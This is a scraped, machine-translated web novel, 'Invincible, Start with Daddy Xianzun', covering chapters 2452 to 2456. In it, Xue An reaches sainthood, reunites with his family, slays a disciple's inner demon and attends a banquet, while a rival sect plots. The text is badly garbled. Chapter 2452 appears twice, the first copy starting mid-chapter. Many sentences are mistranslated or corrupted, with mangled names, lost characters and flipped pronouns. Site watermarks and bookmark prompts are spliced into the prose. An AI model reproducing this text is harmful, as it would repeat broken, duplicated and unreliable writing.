    Because listening to the supplement of Miss Missing, you can know that although the breath of that white figure belongs to Xue An, it has no soul.


    What is going on here?


    Just when everyone was puzzled, Siming Qi also arrived out of breath.


    He got into it with a lot of effort, begging grandpa to tell grandma, he finally entered the core area, and therefore he was the latest.


    However, when he arrived and described what he had experienced, everyone found that the situation was basically the same.


    All appeared a white figure very similar to Xue An, and offered a helping hand to everyone.


    But the point is who is this person?


    Could it be that Xue An has really secretly left the customs without everyone knowing it?


    Everyone couldn''t help casting their doubtful eyes on the still gleaming brilliance.


    Nothing seems to have changed.


    But at this moment, the Nine Heavens Profound Girl suddenly gave a whisper.


    "Hey, it''s a bit strange!"


    Everyone was shocked, An Yan asked immediately.


    "Why is it strange?"


    "Have you noticed that this brilliance seems to be gradually converging, and the territory it occupies is also shrinking!"


    Everyone heard the words and looked at it.


    really.


    I saw the unparalleled brilliance just now, it seemed to have become a lot bleak, and gradually receded and converged, like the ebb sea water, receding to the center.


    This unexpected discovery made everyone breathless and watched quietly.


    The whole process of change seemed to be slow but fast, but in the half-zhuxiang scene, all the previous glitz disappeared, revealing Xue Anlai, who was sitting stumblingly inside.


    "Sister, is Dad waking up soon?" Nian-nian couldn''t help asking.


    Thinking about shook his head, his little face was full of seriousness.


    "I can''t see anything now, because I can''t feel the slightest breath of dad!"


    With the talent of thinking, if she can''t see it, then everyone can''t see it even more.


    But this situation only lasted for a stick of incense, and then everyone in the audience was shocked.


    Because at this moment, everyone present suddenly felt that an inexplicable and great existence had revived.


    But this feeling is fleeting.


    Before everyone could react, Xue An, who was sitting stumblingly, slowly opened his eyes and smiled at everyone.


    "Are they all here?"


    Without the majestic aura, or even the slightest majesty, Xue An''s awakening is as natural as opening his eyes after a sleep.


    But when he heard these words, An Yan couldn''t help but trembled all over, tears streaming down instantly.


    As for the two little girls, they rushed forward desperately.


    "Dad, you finally woke up!"


    Xue An, who was sitting stumblingly, appeared in front of the two little girls in the next instant, and then hugged them in his arms.


    "Yeah, I finally woke up, have you been good at this time?"


    "Well, we are very well-behaved!" The two little girls said in unison.


    Xue An smiled, "Really? Then how do you steal ice cream?"


    When this sentence came out, the two little girls couldn''t help being dumbfounded.


    "Dad, you..." Nian Nian was a little surprised.


    After thinking about it, I suddenly understood something, and said excitedly: "Dad, was that white figure you just now?"


    Xue An smiled and nodded, then turned to look at Lu Yangyan, Simingqi and the others, "Not only that one, but also what they met!"


    At this time, everyone was a little confused.


    what happened?


    Why is Xue An apparently retreating here, but he can appear in the outside world?


    Only the Nine Heavens Profound Girl suddenly thought of something, and UU looked at with a look of horror.


    "you did it?"


    Xue An nodded at her, "Yes! I did it!"


    The tone is light and windy, but it is full of inexplicable strong self-confidence.


    "Dad, what did you do?" the two little girls asked curiously.


    Xue An laughed, "It''s nothing, it''s just a breakthrough!"


    Along with these words, a huge aura that made the world''s starry sky tremble suddenly appeared from Xue An''s body.


    In an instant, all the stars of the entire Pharmacist Alliance were shaken by it.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2452, did you do it? Yes, you did it!) Read the record and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2452： you did it? Yeah, I did it!

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    puff!


    With blood pouring down, Lu Fei''s body trembled, his eyes filled with horror, and he didn''t seem to believe that he was so dead.


    At the same time, evil spirits gushed out of his sea of ??knowledge and gathered around his neck, trying to repair the big hole in his throat.


    But all is in vain.


    When the evil spirit just touched the wound, it was like pouring a scoop of cold water in a hot pot. The hidden intent of the sword that was hidden in the wound exploded, directly exploding his whole body into Shattered.


    The blood mingled with the meat fell down.


    The whole street was alarmed.


    The crowd on the street only saw a person rushing out of the void just now, trying to escape, but just a few steps away, it was completely blown to pieces.


    This **** and terrifying scene made many people frightened and fled.


    In the illusion, the white figure turned his head and seemed to glance at the two little girls, Ao Shu and the others, and then disappeared again.


    With the disappearance of this figure, this illusion also disintegrated and became invisible.


    Ao Shu stood there blankly, whispering softly, "Brother Xue...Is that you?"


    Suddenly!


    She seemed to have thought of something, and immediately turned around and shouted to Miss Miss.


    "Quick! Let''s hurry back!"


    In a moment, a group of people rose up into the sky and rushed toward the front.


    When they rushed to the retreat located in the middle of the battle line, Lu Yangyan had already rushed to this place first, and told what had happened to the Nine Heavens Profound Girl and An Yan who were waiting here.


    After listening, Jiu Tian Xuan Nu and An Yan couldn''t help looking at each other.


    "You said a white figure saved your sister?"


    Lu Yangyan nodded, "Besides, both the breath and the feeling are just like Mr. Xue, so I wonder if Mr. Xue has already left the customs, so come and have a look."


    Nine Heavens Profound Girl and An Yan shook their heads together.


    "Impossible, we have been waiting here. If Xue An really broke through the barrier, how could we not know?" Nine Heavens Profound Girl said decisively.


    "If that''s the case, who would that white figure be?" Lu Yangyan was puzzled.


    At this moment, Ao Shu led Miss Miss and Little Gourd rushed to him.


    The first sentence of the meeting asked: "Has Brother Xue left?"


    An Yan shook his head, "What? Did you meet that white figure too?"


    "Hey, do you already know?" Ao Shu asked in surprise.


    "Know what? Tell me!" An Yan asked anxiously.


    Ao Shu did not dare to delay, and quickly recounted what had just happened.


    After she finished speaking, the audience fell into silence.


    If what Lu Yangyan said before could be described by coincidence.


    So what Ao Shu said now is completely incomprehensible.


    Because listening to the supplement of Miss Missing, you can know that although the breath of that white figure belongs to Xue An, it has no soul.


    What is going on here?


    Just when everyone was puzzled, Siming Qi also arrived out of breath.


    He got into it with a lot of effort, begging grandpa to tell grandma, he finally entered the core area, and therefore he was the latest.


    However, when he arrived and described what he had experienced, everyone found that the situation was basically the same.


    All appeared a white figure very similar to Xue An, and offered a helping hand to everyone.


    But the point is who is this person?


    Could it be that Xue An has really secretly left the customs without everyone knowing it?


    Everyone couldn''t help casting their doubtful eyes on the still gleaming brilliance.


    Nothing seems to have changed.


    But at this moment, the Nine Heavens Profound Girl suddenly gave a whisper.


    "Hey, it''s a bit strange!"


    Everyone was shocked, An Yan asked immediately.


    "Why is it strange?"


    "Have you noticed that this brilliance seems to be gradually converging, and the territory it occupies is also shrinking!"


    Everyone heard the words and looked at it.


    really.


    I saw the unparalleled brilliance just now, it seemed to have become a lot bleak, and gradually receded and converged, like the ebb sea water, receding to the center.


    This unexpected discovery made everyone breathless and watched quietly.


    The whole process of change seemed to be slow but fast, but in the half-zhuxiang scene, all the previous glitz disappeared, revealing Xue Anlai who was sitting stumblingly inside.


    "Sister, is Dad waking up soon?" Nian-nian couldn''t help asking.


    Thinking about shook his head, his little face was full of seriousness.


    "I can''t see anything now, because I can''t feel the slightest breath of dad!"


    With the talent of thinking, if she can''t see it, then everyone can''t see it even more.


    But this situation only lasted for a stick of incense, and then everyone in the audience was shocked.


    Because at this moment, everyone present suddenly felt that an inexplicable and great existence had revived.


    But this feeling is fleeting.


    Before everyone could react, Xue An, who was sitting stumblingly, slowly opened his eyes and smiled at everyone.


    "Are they all here?"


    Without the majestic aura, or even the slightest majesty, Xue An''s awakening is as natural as opening his eyes after a sleep.


    But when he heard these words, An Yan couldn''t help but trembled all over, tears streaming down instantly.


    As for the two little girls, they rushed forward desperately.


    "Dad, you finally woke up!"


    Xue An, who was sitting stumblingly, appeared in front of the two little girls in the next instant, and then hugged them in his arms.


    "Yeah, I finally woke up, have you been good at this time?"


    "Well, we are very well-behaved!" The two little girls said in unison.


    Xue An smiled, "Really? Then how do you steal ice cream?"


    As soon as this sentence came out, the two little girls couldn''t help being dumbfounded.


    "Dad, you..." Nian Nian was a little surprised.


    After thinking about it, I suddenly understood something, and said excitedly: "Dad, was that white figure you just now?"


    Xue An smiled and nodded, then turned to look at Lu Yangyan, Simingqi and the others, "Not only that, but also what they met!"


    At this time, everyone was a little confused.


    what happened?


    Why is Xue An apparently retreating here, but he can appear in the outside world?


    Only the Nine Heavens Profound Girl suddenly thought of something, UU reading www.uukanshu. A look of horror appeared in the com''s eyes.


    "you did it?"


    Xue An nodded at her, "Yes! I did it!"


    The tone is light and windy, but it is full of inexplicable strong self-confidence.


    "Dad, what did you do?" the two little girls asked curiously.


    Xue An laughed, "It''s nothing, it''s just a breakthrough!"


    Along with these words, a huge breath that made the world''s starry sky tremble suddenly appeared from Xue An''s body.


    In an instant, all the stars of the entire Pharmacist Alliance were shaken by it.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 2452, did you do it? Yes, you did it!) Read the record and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2453： Incarnate in the realm of billions of saints

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Si Mingqi''s lips trembled, and he fell on his knees with a plop, knocking his head repeatedly.


    "Congratulations to your lord for proving the realm of saints!"


    That''s right!


    After a long period of training, Xue An finally accumulated a lot of strength and broke through the realm of the immortal statue and the saint.


    In an instant, everyone present was shaken by it.


    Lu Yangyan was stunned in the same place, looking stupidly.


    As for Ao Shu, although she was also shocked, she soon laughed with endless joy.


    Because in her mind, Brother Xue is omnipotent, and there is nothing strange about the saints who preach the Tao.


    Only An Yan looked at Xue An obsessively, and for a moment he didn''t know how to describe the feelings in his heart.


    After waiting for such a long time, under the combined effect of Daxi and Dabei, she was suddenly at a loss.


    But at this moment, Xue An appeared directly beside An Yan and gently embraced her in his arms.


    As for the two little girls, they were hugged by a white figure.


    Seeing this scene, the Nine Heavens Profound Girl couldn''t help but sigh, "Incarnate into hundreds of millions, this is the realm of a real saint!"


    An Yan didn''t hear this, because at this moment she had completely fallen into Xue An''s eyes.


    What kind of eyes are they, as if they can perceive everything in general, and they are full of endless wisdom.


    At this moment, when Xue An stretched out his hand and gently stroked An Yan''s cheek, he said distressedly: "Yan''er, you''re thinner!"


    "Ahem!" The Nine Heavens Profound Girl on the side suddenly coughed twice, then turned around and said, "I think we should go back to the town first!"


    Awakening the dreamer, everyone nodded.


    "Yes, yes, I also think it''s better to go back to the town first!" Ao Shu narrowly winked at Anyan, and said with a smile.


    An Yan''s face was instantly stained with red clouds, and Ao Shu gave Ao Shu a sharp look.


    Ao Shu laughed, and then returned to the town with some unidentified misses.


    In an instant, only Xue An and An Yan were left in the field.


    The atmosphere becomes warm.


    An Yan hugged Xue An tightly, and whispered: "Husband, during your retreat period, the Shen family has come to you, and I have given you a battle book!"


    Xue An smiled, "I know all this."


    "You all know?" An Yan stood up and looked at Xue An with a bit of astonishment.


    "Yes, although I am in retreat, in the later stage, everything that happens in the entire Pharmacist Alliance is under my control!" Xue An said calmly.


    An Yan''s heart shook slightly, but she didn''t say much.


    In her opinion, there is nothing more important than Xue An waking up.


    Therefore, she buried her head in Xue An''s arms again, enjoying the rare time alone for the two of them.


    After a long time, Xue An patted her shoulder gently.


    "Yan''er!"


    "Ok?"


    "Go, let''s go back to the town to deal with some things!"


    "it is good!"


    An Yan got up and flew towards the town.


    But at this moment, Xue An smiled and took her hand.


    "What''s the matter?" An Yan was taken aback.


    "Don''t fly so hard, I''ll take you a shortcut!"


    "Shortcut?" An Yan was a little dazed.


    Xue An smiled, raised his hand and waved, the surrounding scenes instantly changed, from the void directly to the small town inn.


    The whole process can be described as a seamless connection, the last moment was still in the void, the next second he had already arrived in the inn room.


    An Yan couldn''t help but startled.


    Xue An smiled slightly, and then holding hands led her into the room where Lu Yangyan was.


    At this moment, Cha Wenliang and Nine Heavens Profound Girl are in this room.


    When Xue An walked into the room, they did not show much surprise.


    Instead, Lu Yangyan stood up immediately.


    "Mr. Xue!"


    Xue An nodded and walked straight to the bed.


    "Are you not awake yet?"


    "No!" Cha Wenliang didn''t turn her head back, "but the condition in her body has been greatly improved, and she will probably wake up soon!"


    Xue An didn''t speak, but took a deep look at Lu Xiaoya, who was awake, and his eyes flashed with brilliance.


    Lu Xiaoya snorted immediately, and then slowly opened her eyes.


    Seeing this, Lu Yangyan was overjoyed, and immediately rushed to the front and grabbed his sister''s hand.


    "Xiaoya, you are awake!"


    At the beginning, Lu Xiaoya''s eyes were still full of confusion, but when she heard her brother''s words, her eyes quickly returned to clarity, and then she struggled to get up very excited.


    "brother!"


    The elder brother made Lv Yangyan weep with joy. He immediately thought of something, turned around and knelt down at Xue An.


    "Mr. Xue, thank you for helping me twice and waking up my sister. There is nothing to do with great grace. Yang Yan would like to thank you first!"


    As he said, Lu Yangyan knocked on his head again and again.


    At this time, Lu Xiaoya finally understood what happened after she was in a coma, so she also struggled to get up and wanted to kneel down.


    Xue An waved his hand, a gentle force supported her, and then chuckled lightly.


    "Okay, get up, I didn''t let you kneel down for me to save you!"


    Only then did Lu Yangyan and Lu Xiaoya stood up.


    Cha Wenliang had been looking at Lu Xiaoya, with a thoughtful look in his eyes.


    At this moment Xue An turned and walked out of the room, and Cha Wenliang immediately followed.


    When the two walked to no one''s place, Xue An suddenly stopped and said softly: "You can see it already?"


    Cha Wenliang nodded, "I was only slightly suspicious before, but when this girl Lu woke up, she finally confirmed my guess!"


    Then he couldn''t help asking: "What is the aura hidden in this girl''s soul?"


    Xue An sighed slightly, "I can''t tell you this now, but it won''t be evil!"


    Cha Wenliang was silent.


    With his medical skills, in fact, he had long seen that there seemed to be an indescribable aura hidden in Lu Xiaoya''s soul, which also made Cha Wenliang quite suspicious.


    Until today, after hearing Xue An said it would never be a evil thing, he was relieved.


    At this time, the Nine Heavens Profound Girl also walked out.


    "Xue An, what do you plan to do next?"


    Xue An chuckled softly, "The Shen family has already given me the battle book, so I can''t miss this Hundred Schools Conference!"


    "But before I go, I have to go back to the soldier''s house!"


    The Nine Heavens Profound Girl nodded, UU read , "If this is the case, then let''s say goodbye for now, and I will lead people to the Hundred Schools Conference in a few days!"


    "Good!" Xue An nodded and promised.


    "Then see you at the Hundred Schools Conference!"


    After the matter was negotiated, Xue An spent another day in the small town.


    During this day, he helped Siming to establish the absolute authority in the Si family, and then without telling anyone, took An Yan and two daughters to go quietly, and set foot on the return to the military family. Road.


    The speed of the return journey is more than a thousand times faster than when it came.


    After only a long time, Xue An stepped into the territory of the military strategist.


    At the same time, among the military strategists, there is also a busy scene.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2453 Incarnation of a Hundred Thousand Saints), and you can see it next time you open the bookcase!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2454： Return to the military

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    The Hundred Factions Conference is about to be held. As the first grand meeting faced by the military strategists after the unification, the entire military strategists attach great importance to it.


    Everyone is busy, wanting to let the ancient genre of military strategists shine again in this grand event.


    In contrast, Yue Shifang, the patriarch of the military family, was much more leisurely.


    Except for some occasions where he has to appear on his own, Yue Shifang usually hides in the backyard flower hall and drinks tea and wine during the rest of the time.


    Today is no exception.


    The second girl went outside early to select the elite soldiers who will go to this Hundreds of Congresses.


    However, Yue Shifang hid in the backyard flower hall, pouring and drinking, admiring the flowers and the scenery, just like a wealthy idler.


    But when he was drunk, a breeze suddenly blew across the corridor pavilion in the backyard, causing the wind chimes under the eaves of the corridor to ring non-stop.


    Yue Shifang was taken aback, and immediately put down the wine glass in his hand, a slightly surprised and unexpected smile appeared on his face.


    "Since they are all here, come quickly and have a few drinks with me!"


    As soon as the voice fell, Xue An''s figure emerged across the table.


    "Are you so sure that it is me?" Xue An smiled lightly.


    Yue Shifang laughed, "Apart from you, no one seems to be able to break into my backyard so easily!"


    With that, Yue Shifang filled Xue An with a glass of wine.


    The two raised their glasses in their hands, smiled at each other, and drank them all.


    After drinking, Yue Shifang''s eyes seemed to be lit up, full of brilliance, and then he carefully examined Xue An.


    Xue An was unmoved, and without even lifting his head, he picked up the chopsticks and dealt with the dishes on the table.


    After a while, Yue Shifang''s face showed a deep appreciation, and he sighed: "I didn''t expect it, but after a few months, you actually took that step and became a saint!"


    "Seven months and eight days to be exact!"


    "So the speed you showed is really incredible. If people who have been trapped in the realm of Immortal Venerable for hundreds of years have not been able to save it, they will be shocked if they know it!"


    "No way, am I a genius! A genius must be a little different!" Xue An half-joked.


    Unexpectedly, Yue Shifang nodded very seriously.


    "Yes, you are indeed a genius, and a genius among geniuses!"


    Xue An smiled, raising his hand and filling up two glasses of wine.


    "Well, for the sake of my genius, another toast!"


    After two glasses of wine, the two talked.


    Xue An probably recounted what happened in the Pharmacist Alliance. Although Yue Shifang had known it for a long time, he still heard brilliant eyes at the moment.


    Especially when he heard that Xue An had defeated the two major sword repairmen of the Shen family in a row and forced the Shen Hongyi sword soul to rebirth, he couldn''t help but high-five and admire.


    "Okay! A good fight, I''ve seen the Shen family displeased a long time ago. Now you have defeated the two major sword repairs in a row, and you have broken the so-called undefeated golden body that they have always boasted.


    In words, Yue Shifang''s face was full of gloat.


    Xue An just smiled at this, "But the second son of the Shen family also came to the door for this, and personally gave me the battle book!"


    "I know this too, weren''t you in retreat at the time?"


    "Yes, but I also noticed the whole thing! I competed with this Shen Muyu!"


    "Oh?" Yue Shifang''s eyes showed a deep curiosity, "Then what''s the result?"


    "In terms of strength, he is very strong, but in terms of realm... he should be inferior to me!" Xue An said lightly.


    "If you say that, you won?"


    "That''s right, but because of the retreat, I was limited by my strength, so I didn''t really do it. I just competed with sword intent!"


    Yue Shifang took a deep look at Xue An, and suddenly said, "Do you know what the second son of the Shen family is called in this sky?"


    "What do you call it?"


    "This man is extremely talented and has not failed since he entered Chengjian Mountain. In addition, he is the youngest sage sword repairman in the history of the Shen family, so he is also called the undefeated sword god! Sword intent surpasses him, this is too powerful!"


    Xue An smiled, "Actually you are wrong!"


    "Oh? Wrong?"


    "At that time, it was only the sword intent that surpassed him, but now I have the confidence to completely defeat him!" Xue An said in a deep voice.


    As a sword repairer, the most important thing is this indomitable, self-respecting aura.


    If the fear of difficulty has been developed before the fight, then the fight has been lost before the fight.


    So Xue An didn''t have any humility at all, so he said this in a bold and dry manner.


    Yue Shifang laughed with his palms, "Okay! One who has the confidence to completely defeat him, just with these words will make a big splash!"


    The two went to and fro with each other, and soon they started drinking.


    "When do you plan to leave for the Hundred Schools Conference?" Xue An asked.


    "Quickly, the preparations are almost done these days, but Qinghuan hasn''t left the customs yet, so I want to wait for her two more days. If she hasn''t left the customs by then, I won''t wait for her!"


    "Oh? Hasn''t she been out yet?" Xue An was startled.


    Yue Shifang smiled bitterly and nodded, "This dead girl came up to Twist Jin, and he had to break through the current realm before he was willing to go out, but how can the realm be so easy to break through?"


    Speaking of this, he suddenly thought of something and glanced at Xue An, "Not everyone is like you, who will break through!"


    "So now she is stuck in the pass and cannot be deposited!"


    Xue An was silent, and then stood up suddenly, "Go, let''s go and see!"


    When the two turned around, they came to Yue Qinghuan''s retreat from the flower hall.


    This is the back mountain of the Yue family headquarters, with a beautiful environment and abundant aura.


    Just in this place surrounded by mountains and rivers, a grass cottage was built.


    The surrounding area of ??the Caolu is shrouded by enchantments, and it is exclusively used by the soldiers of the military family to retreat.


    At this moment, Yue Qinghuan was practicing in this cottage.


    But today I don''t know what''s wrong, no matter what she does, she can''t calm down.


    As long as you close your eyes, Xue An''s shadow will appear in your mind.


    This can''t help but make her silver teeth bite in secret.


    Blame this bastard!


    Had it not been for him, he would have already broken through!


    Yue Qinghuan scolded Xue An harshly in his heart, closing his eyes even if he accepted his fate, and tried to enter concentration again.


    This time it went smoothly, and soon she abandoned her distracting thoughts and entered a deep calm state.


    But at this moment, there was a soft whisper in the ear.


    "Qinghuan!"


    This voice shook Yue Qinghuan''s mind instantly. U U Reading


    Because this is obviously Xue An''s voice, and the voice is full of affection.


    Although the instinct was a bit wrong, Yue Qinghuan''s sanity only struggled for a while, and then it fell completely.


    "Xue An, it''s really you!" Yue Qinghuan opened his eyes and looked at the young man in front of him who was looking at him with a smile.


    "Yes, it''s me! I''m back, and I came back specially for you!" Xue An said with a bright smile, his eyes full of affection.


    Yue Qinghuan''s heart was drunk because of this sentence.


    But she didn''t notice at all. There was no shadow underneath the Xue An in front of her.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2454 Return to the Soldiers), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2455： Can be called evildoer

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "I haven''t seen it for so long, don''t you want to hug me?"


    This Xue An said with a smile, and at the same time opened his arms, as if waiting for Yue Qinghuan''s arrival.


    Yue Qinghuan''s cheeks were flushed instantly, but his eyes became confused.


    "Yeah, you should really hug!"


    Following the voice, she was seen walking forward ignorantly, trying to plunge into Xue An''s embrace.


    The corners of Xue An''s mouth raised slightly, revealing a tricky smile.


    But in the next second, a small red sword suddenly pierced out of his eyebrows, and then slashed straight down, instantly splitting him in half.


    But strangely, even though this "Xue An" was split in half, no blood flowed out. Instead, he let out a roar full of unwillingness, and then dissipated like a mist.


    As soon as this figure disappeared, Yue Qinghuan trembled all over, the confusion in his eyes faded, and his usual clarity was restored.


    Then she saw a young man holding a small red sword standing opposite her.


    Who is it if it''s not Xue An!


    In an instant, Bingxue was as smart as Yue Qinghuan, and immediately understood what had just happened.


    The man who was pretending to be gentle with himself just now was not Xue An at all, but the demon who looked at the gap in his mind and waited for the opportunity.


    At this point, Yue Qinghuan couldn''t help but feel ashamed and angry.


    The shame is that everything that happened just now was actually seen by Xue An.


    I was so angry that I hadn''t noticed it beforehand, so I almost fell into the trap of the demon.


    If he really fell into the arms of that inner demon just now, the consequences would be unimaginable.


    Although he has a magic weapon gifted by his brother that can suppress the inner demons, if he is careless, he will not only have no hope of breaking through, but also lose his strength.


    Speaking of which, I want to briefly introduce the demons encountered during cultivation.


    The mind demon is the number one incentive that hinders people''s practice throughout the ages.


    Without him, it is because it is impossible to defend against.


    And this demon will also increase as your realm level increases.


    Even the stronger the person, the more powerful the heart demon will become.


    For example, just now, Yue Qinghuan was almost taken advantage of by the inner demons because of his failure to break through the retreat.


    Fortunately, this heart demon was so powerful that it could actually manifest the entity, so Xue An saw it and cut it in half with a sword.


    At this time, as the expression on Yue Qinghuan''s face changed, the atmosphere in the cottage became a little embarrassing.


    Yue Shifang, who followed up afterwards, couldn''t help but cough lightly.


    "The weather is good today, I''m going to bask in the sun!"


    After all, he quickly turned and slipped away.


    In an instant, Xue An and Yue Qinghuan were left in the Caolu.


    After Yue Qinghuan was silent for a moment, he whispered: "Thank you!"


    Xue An flipped his wrist, put away Yin Hong''s small sword, and then smiled faintly, "You are welcome, after all, I am also responsible for this demon!"


    Yue Qinghuan felt that his face was feverish, and couldn''t help but give Xue An a white look.


    What is this, and what does it mean that you are also responsible? It''s like I can''t live without you...Huh?


    Yue Qinghuan suddenly found something and was stunned.


    "You...you actually broke through?"


    Xue An nodded, "Yes, I just broke through the proof two days ago!"


    As he said, Xue An smiled at Yue Qinghuan, "What? Is it strange?"


    Yue Qinghuan suddenly felt weak.


    I tried my best, even withered the grass, abandoned all distractions, tried to practice diligently, but failed to make it.


    But Xue An easily broke through a big realm.


    The gap is so large that it makes people feel desperate after thinking about it.


    At this moment, there was a chuckle from outside the Caolu.


    "Can you come in?"


    Although he was asking, but following the voice, this person had already pushed open the door of the Cao Lu and walked in.


    It is the second girl.


    Behind her followed several elders and direct children of the Yue family.


    And they are all old acquaintances of Xue An.


    For example, the father and son Yue Hechang and Yue Junze.


    When they saw Xue An, their faces were full of joy.


    "I have seen Mr. Xue!"


    "I''ve seen a soldier in charge!"


    At the beginning, Xue An once took charge of the Yue family''s military seal, and led many young people to win the championship in the military martial arts conference.


    Therefore, Yue Junze and others still respect Xue An as the master of the army until now.


    The arrival of this group of people broke the strange atmosphere in the previous cottage, Yue Qinghuan secretly breathed a sigh of relief, but somehow, there was still a hint of disappointment.


    At this time, Xue An smiled slightly, and nodded in salute to everyone.


    "Second girl, long time no see!"


    The second girl''s eyes lit up, and she said in surprise: "Is it really a saint?"


    As soon as this statement came out, Yue Hechang, Yue Junze and others also saw Xue An''s realm at the moment, and they couldn''t help but feel an uproar.


    How long has Xue An left the military family?


    But even in such a short period of time, he actually proclaimed the realm of a saint. This speed can no longer be described as coming soon, it can be called an enchanting evildoer.


    Xue An smiled and didn''t care too much.


    But he didn''t care, and the rest of the military family cared very much.


    People whispered and talked.


    Especially when he appeared at the dust washing banquet at night, this kind of discussion reached its peak.


    "Our soldier-in-chief adult is really a genius of heaven and earth, how long has it been before we have actually broken through the Immortal Venerable and proving Dao saint!" Someone sighed repeatedly.


    "Who says no, and I heard rumors that this Mr. Xue is full of money but he has only cultivated for decades, and in the end he has become a saint. The gap between this person is simply bigger than that between a person and a dog!" Someone sighed.


    "Hey, I want me to say that what you are talking about is not important. The most important thing is that the first thing our army commander did after the adults came back was to find Sister Qinghuan in the grassy cottage in the back mountain. If it wasn''t for me and the second girl Entering the cottage, I don��t know what will happen!"


    Yue Junze said with a smile.


    "What will happen?" Someone actually asked stupidly.


    "Of course something indescribable will happen!" Yue Junze smiled mysteriously.


    But when he heard his words, the people standing in front of him didn''t show much excitement about hearing the gossip. UU reading www.uukanshu. com


    On the contrary, a few people coughed slightly, winking at Yue Junze constantly.


    But Yue Junze didn''t pay attention to this at all, and saw him rubbing his hands in excitement.


    "Don''t you know that at that time, sister Qing Huan had red cheeks and her eyes were down, she looked like a little girl thinking of spring."


    The coughing of these people became louder.


    Yue Junze glanced at them a little strangely, "Did you eat the wrong thing? Why are you coughing?"


    Then he continued: "Sister Qinghuan is usually as powerful as a tigress, but in front of the soldier-in-arms adult, she is not good, so I think..."


    "What do you think?" A cold voice came from behind.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2455 can be called an evildoer), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2456： I want 1 person to go

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "I think the two of them must be able to accomplish a period..." Yue Junze said a few words smoothly, suddenly realizing something, and the whole body''s hairs stood up in an instant.


    "Next, what is the achievement?"


    Yue Junze turned around with difficulty, and at a glance, he saw Yue Qinghuan who was standing not far behind him, and felt that all his blood was cold.


    "Qing... Sister Qing Huan..."


    Yue Qinghuan waved his hand, "Don''t call me that, didn''t you just say that I am like a little girl who thinks of spring? I can''t afford to call my sister!"


    The cold sweat on Yue Junze''s forehead sighed and he couldn''t help but look to the sides secretly, trying to find a helping hand.


    But at this time, who would dare to jump into the fire pit?


    Therefore, before Yue Junze looked at them with pleading eyes, these people had already avoided far away.


    "Why? Don''t you want to say? Then should I take you to Uncle Chang''s and let him ask you?"


    There was a plop.


    Yue Junze knelt to the ground without hesitation, and said pleadingly.


    "Sister, no! Grandma, I was wrong. I was just talking nonsense. You have a large number of adults, but don''t be familiar with me!"


    At this moment, the voice of the second girl came from a distance, "Qinghuan, come and help me!"


    "Huh! I''ll settle the account with you later, this matter is not over."


    Yue Qinghuan turned and left.


    Yue Junze wiped the cold sweat from his face and stood up tremblingly.


    At this time, the people who had just escaped gathered around again.


    "Hey, Junze, the appearance of your kneeling just now is really like a man who can bend and stretch!" Someone laughed.


    "Bah, a group of **** who can''t save you!" Yue Junze took a sip, and then slipped away.


    Of course, this small episode did not affect this dust-washing feast.


    Because the military has been unified, people from other families also attended the banquet.


    Looking at the energetic Xue An above the theme.


    Gu Wangya couldn''t help but sighed, "Sure enough, it''s a hero from a young man!"


    Hearing what she said, Song Yuze put down the wine glass in his hand with some embarrassment.


    Gu Wangya suddenly understood and smiled at him apologetically.


    "Sorry, I didn''t mean to target you!"


    Song Yuze nodded with a wry smile, "Of course I know, I just feel a little stressed!"


    As he said, Song Yuze looked at Xue An in the distance, ��Speaking of my age is a bit older than him, and the age of cultivation is much longer, but I��m still stuck in that pass, but he��s already After that step, the gap in this can''t be counted by the truth!"


    Gu Wangya couldn''t help being silent.


    Although she is a woman, how can she not feel the pressure?


    "Fortunately, he is our friend! If this becomes an enemy, I might not even sleep well!" Song Yuze said.


    And the fact is just as he said, there is a person who is tossing and turning at the moment, unable to sleep.


    Funiu Mountain, Zhenwu View.


    Lu Zhongxuan''s complexion was as blue as the bottom of a pot.


    Because just now, he tried again to contact Lu Fei''an who was out on a mission, but it ended in failure.


    So far, he and Lu Fei''an have been out of contact for three days.


    If nothing happens, Lu Fei''an must have been in an accident.


    This fact weighed heavily on Lu Zhongxuan''s heart, making his breathing not so easy.


    Of course he was not distressed about Lu Fei''s death.


    In fact, as far as these evil things are concerned, except themselves, everything else can be sacrificed.


    What he worries about is that Lu Fei''s is also an evil creature with his own thinking, not those fools who can only crawl around in the abyss without any wit.


    How could such an existence suddenly disappear without a trace, even without receiving the slightest message?


    If he was really hurt by others, who would kill him?


    And is his identity leaked along with it?


    These are all problems that make Lu Zhongxuan a headache.


    So he simply got up from the bed and came outside.


    The dormitory he lives in is at the back of the hall, so he came to the hall after he walked out.


    The damaged real martial art has long been repaired, but the hall is no longer sacred and majestic. On the contrary, it is full of cold air.


    And just before this idol stood a person.


    It is Lu Xiuming.


    When he saw Lu Zhongxuan walking out, Lu Xiuming immediately bowed his head and saluteed.


    Lu Zhongxuan waved his hand, "Is there anything strange?"


    Lu Xiuming shook his head, "No."


    "Then Xue Anke ever left the customs?"


    "The news that he just received, he had already left the customs three days ago, but then he disappeared!"


    "Disappeared?"


    "Yes!"


    Lu Zhongxuan frowned, his brain circulated rapidly for a while, trying to figure out the whereabouts of Xue An, but in the end he failed.


    "Forget it, leave him alone, anyway, he will definitely go to the Hundred Schools Conference in a while, are they all ready?"


    "Return to your respect, all are ready!"


    "Well, then go and notify everyone, and we will leave tomorrow!"


